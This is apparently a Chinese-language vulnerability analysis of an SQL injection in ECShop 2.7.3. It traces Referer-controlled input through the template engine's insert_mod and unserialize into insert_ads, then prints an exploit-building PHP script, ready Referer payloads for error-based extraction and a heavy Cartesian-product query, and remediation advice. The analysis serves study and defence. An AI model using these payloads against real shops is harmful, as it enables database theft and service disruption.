ECshop 2.7.3 SQL注入漏洞分析

准备工作

ECshop简介

ECShop是一款专业的电商商城系统, 跨平台开源程序

ECShop可以快速构建PC+微商城+APP+小程序等多终端商城,并支持二次开发定制化商城

环境搭建

下载ECshop源码后解压到本地phpstudy目录下

访问localhost,进行相关配置完成安装过程

安装完成后即可在本地访问

漏洞分析

代码审计

我们首先关注user.php中login部分的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* 用户登录界面 */
elseif ($action == 'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}

}


$captcha = intval($_CFG['captcha']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
{
$GLOBALS['smarty']->assign('enabled_captcha', 1);
$GLOBALS['smarty']->assign('rand', mt_rand());
}

$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}

注意到此处的$back_act参数是通过$GLOBALS['_SERVER']['HTTP_REFERER']获取的

Smarty是一个php的模板引擎,该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。

那么此处我们就可以通过修改http referer头的方式来控制$back_act参数,从而控制assign()函数的参数

接下来我们跟进这个模板变量到/includes/cls_template.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 注册变量
*
* @access public
* @param mix $tpl_var
* @param mix $value
*
* @return void
*/
function assign($tpl_var, $value = '')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}

因为$back_act不是数组,所以进入else分支,被赋给$this->_var[$back_act]

继续查看display()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* 显示页面函数
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return void
*/
function display($filename, $cache_id = '')
{
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);

$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);

if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
error_reporting($this->_errorlevel);
$this->_seterror--;

echo $out;
}

此处调用display()函数时,传入的$filename参数值为'user_passport.dwt',会使用fetch方法来处理该模板文件

跟进fetch方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
/**
* 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;

if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
else
{
if ($this->_checkfile)
{
if (!file_exists($filename))
{
$filename = $this->template_dir . '/' . $filename;
}
}
else
{
$filename = $this->template_dir . '/' . $filename;
}

if ($this->direct_output)
{
$this->_current_file = $filename;

$out = $this->_eval($this->fetch_str(file_get_contents($filename)));
}
else
{
if ($cache_id && $this->caching)
{
$out = $this->template_out;
}
else
{
if (!in_array($filename, $this->template))
{
$this->template[] = $filename;
}

$out = $this->make_compiled($filename);

if ($cache_id)
{
$cachename = basename($filename, strrchr($filename, '.')) . '_' . $cache_id;
$data = serialize(array('template' => $this->template, 'expires' => $this->_nowtime + $this->cache_lifetime, 'maketime' => $this->_nowtime));
$out = str_replace("\r", '', $out);

while (strpos($out, "\n\n") !== false)
{
$out = str_replace("\n\n", "\n", $out);
}

$hash_dir = $this->cache_dir . '/' . substr(md5($cachename), 0, 1);
if (!is_dir($hash_dir))
{
mkdir($hash_dir);
}
if (file_put_contents($hash_dir . '/' . $cachename . '.php', '<?php exit;?>' . $data . $out, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php');
}
$this->template = array();
}
}
}
}

$this->_seterror--;
if (!$this->_seterror)
{
error_reporting($this->_errorlevel);
}

return $out; // 返回html数据
}

发现make_complied方法,继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/**
* 编译模板函数
*
* @access public
* @param string $filename
*
* @return sring 编译后文件地址
*/
function make_compiled($filename)
{
$name = $this->compile_dir . '/' . basename($filename) . '.php';
if ($this->_expires)
{
$expires = $this->_expires - $this->cache_lifetime;
}
else
{
$filestat = @stat($name);
$expires = $filestat['mtime'];
}

$filestat = @stat($filename);

if ($filestat['mtime'] <= $expires && !$this->force_compile)
{
if (file_exists($name))
{
$source = $this->_require($name);
if ($source == '')
{
$expires = 0;
}
}
else
{
$source = '';
$expires = 0;
}
}

if ($this->force_compile || $filestat['mtime'] > $expires)
{
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename));

if (file_put_contents($name, $source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name);
}

$source = $this->_eval($source);
}

return $source;
}

make_complied方法会将模板中的变量解析,然后返回到display()函数中。

我们继续跟进user_passport.dwt,查找$back_act

1
2
3
4
5
<td align="left">
<input type="hidden" name="act" value="act_login" />
<input type="hidden" name="back_act" value="{$back_act}" />
<input type="submit" name="submit" value="" class="us_Submit" />
</td>

也就是说fetch函数最终会返回一个解析过后的变量

我们继续关注display()函数中的如下代码

1
2
3
4
5
6
7
8
9
10
11
12
if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}

此处判断解析后的内容中是否含有_echash,如果存在则分割内容,并用insert_mod处理

而此处的echash是一个定值,所以我们可以控制insert_mod的参数

继续跟进insert_mod

1
2
3
4
5
6
7
8
function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;

return $fun($para);
}

$val传递进来,先用 | 分割,得到 $fun$para$para进行反序列操作,$funinsert_ 拼接,最后动态调用 $fun($para),函数名部分可控,参数完全可控。接下来就是寻找以 insert_开头的可利用的函数了,在 /includes/lib_insert.php 有一个 insert_ads() 函数,正好满足要求。

跟进insert_ads() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function insert_ads($arr)
{
static $static_res = NULL;

$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
else
{
if ($static_res[$arr['id']] === NULL)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, '.
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND a.position_id = '" . $arr['id'] .
"' AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " .
'ORDER BY rnd LIMIT 1';
$static_res[$arr['id']] = $GLOBALS['db']->GetAll($sql);
}
$res = $static_res[$arr['id']];
}
$ads = array();
$position_style = '';

此处可以看到SQL语句,又结合之前的分析,参数可控,故而可以进行SQL注入攻击

最后得到payload模板

1
_echash+fun|serialize(array("num"=>1,"id"=>payload))

写出对应的漏洞利用脚本(exp)

1
2
3
4
5
6
7
8
9
<?php
$s="Referer:554fcae493e564ee0dc75bdf2ebf94caads|";
$exparray=array(//自定义id来构造payload
"num"=>1,
"id"=>payload
);
$payload=$s.serialize($exparray);
echo $payload;
?>

攻击载荷测试

该注入实质上是一个Http请求头注入,得到payload后替换请求头中的Referer参数进行注入

下面我们尝试来构造几个payload

报错注入

1
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";i:1;s:2:"id";s:58:"1' and updatexml(1,make_set(3,'~',(select database())),1)#";}

报错注入+笛卡尔积注入

1
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";i:1;s:2:"id";s:149:"1' and updatexml(1,make_set(3,'~',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)),1)#";}

在sleep函数不可用时,可以使用查询笛卡尔积的方式来一次进行大量查询,这样就会因为大量查询导致返回报文延迟,达到与时间盲注类似的效果

(使用笛卡尔积注入的攻击载荷后响应明显变慢,笔者等了半天都没等到返回包)

防御方法

漏洞梳理

首先,referer值未加判断直接引用,可被攻击者控制输入

其次,用_echash = “554fcae493e564ee0dc75bdf2ebf94ca” 为定值进行切分,构造payload

然后,利用反序列化漏洞,构造payload,传输恶意代码

最后,insert_ads函数的SQL拼接不规范导致存在SQL注入

修复方法

除了常规的预编译、对用户输入进行过滤以外,此处其实还有一个更简便的修复方法

攻击者能够成功进行攻击需要echash,而这个值是定值,导致攻击者能够直接从网络上对应版本的源码中得到该值,故而可以通过修改文件中echash的值来达到防御攻击的目的

该修复方法经笔者测试有效(😅上次AWD就是这么修的)